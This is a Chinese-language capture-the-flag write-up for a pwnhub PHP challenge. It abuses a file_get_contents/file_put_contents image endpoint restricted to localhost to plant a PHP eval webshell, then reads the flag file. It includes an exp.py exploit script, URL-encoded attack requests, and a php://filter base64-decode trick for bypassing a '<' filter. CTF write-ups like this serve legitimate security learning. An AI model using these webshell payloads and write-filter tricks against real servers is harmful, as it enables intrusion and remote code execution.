看源代码里面有这样的一个链接。
http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg
有点像第七届极客出的php is fun。
极客php is fun的源码：
if (isset($_GET) && !empty($_GET)) {
$url = $_GET['file'];
$path = "upload/" . $_GET['path'];
} else {
show_source(__FILE__);
exit();
}
if (strpos($path, '..') > -1) {
die('SYCwaf!');
}
if (strpos($url, 'http://127.0.0.1/') === 0) {
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
} else {
echo "Hello.Geeker";
}
但是此题image.php过滤了<，这个就需要想办法怎么样去绕过了，另外生成的文件也会很快被删掉。
本题核心是：
file_put_contents($path, file_get_contents($url));
只能访问127.0.0.1的话，其实也可以利用本地的80的网页内容，只要有一句话的内容就好了，然后就可以写入到文件。
在这有一个网页内容的输入点:
http://54.223.231.220/?date/%3C?php%20eval($_GET[1]);?%3E/
所以可以把这个网页内容写入到一个php文件，即可以getshell
exp.py
import requests
u1 = "http://54.223.231.220/image.php?path=lemon.php&file=http%3A%2F%2F127.0.0.1%3A8888%2F%3Fdate%2F%3C%3Fphp%2520eval(%24_GET%5B1%5D)%3B%3F%3E%2F"
r = requests.get(u1)
u2 = "http://54.223.231.220/lemon.php?1=var_dump(glob('*'));"
r1 = requests.get(u2)
print r1.content
u2 = "http://54.223.231.220/lemon.php?1=echo%20file_get_contents('flag.php');"
r1 = requests.get(u2)
print r1.content
flag:
pwnhub{flag:kukukuxia今天胖哈勃跑偏了%&^%&^}
另外如果没有那个输入页面到话，其实image.php本身也是可以有输入点可控的。虽然过滤了<
echo "console.log($path update successed!)";
所以完全可以把这个页面的内容作为写入文件的内容，感觉会有点绕，而且要注意url编码问题。
http://54.223.231.220/image.php?file=http%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%26path%3D%3Fphp%2520eval(%24_POST%5B1%5D)%3B%3F%3E&path=1.php
现在内容可以写入一句话了，但是最大的问题就是<不能出现。
在解决死亡exit、die的时候，会用上php协议的过滤器。在这也是可以用上的。
php://filter/write=convert.base64-decode=lemon.php
对写入的内容进行base64解码再写入文件。
http://54.223.231.220/image.php?file=http://127.0.0.1:8888/image.php&path=PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h
构造出利用：
http://54.223.231.220/image.php?file=http%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%26path%3DxxPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h&path=php://filter/write=convert.base64-decode/resource=2.php
其中要注意的是bae64解码的时候字符长度问题，以免解码导致一句话失效。